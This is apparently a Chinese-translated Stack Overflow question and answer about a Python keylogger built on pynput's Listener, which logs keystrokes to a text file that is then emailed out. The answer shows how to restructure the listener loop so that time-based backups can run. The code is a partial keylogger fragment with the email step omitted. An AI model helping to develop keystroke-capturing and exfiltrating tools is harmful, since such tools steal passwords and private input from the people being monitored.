我正在编写一个键盘记录器,并且需要帮助它在不停止侦听器的情况下支持它。
我正在用python编写一个键盘记录器,它将写入一个.txt文件,然后通过电子邮件发送。作为备份,我需要定期将击键的临时列表写入文件。但是,我似乎只能在on_press或on_release回调中执行此操作,这意味着当文件正在发送电子邮件时,我无法获取其他击键,因此我希望根据传递的时间进行备份,而不是按下键。
def on_press(key):
global keystrokes
keystrokes.append(key)
if len(keystrokes)==100:
write_send(keystrokes) #This is the function that does all my file
writing and emailing, not included.
def on_release(key):
#On_release script here, not included
while True:
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()发布于 2019-08-03 21:38:10
而不是
while True:
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()你可以做到
with Listener(on_press=on_press,on_release=on_release) as listener:
while True:
# ... check time and write in file ...
# listener.stop()
listener.join()或者您可以在start() (和stop())中使用Listener函数,并将其编写为:
listener = Listener(on_press=on_press,on_release=on_release)
listener.start()
while True:
# ... check time and write in file ...
listener.stop()
listener.join()https://stackoverflow.com/questions/57341985
复制相似问题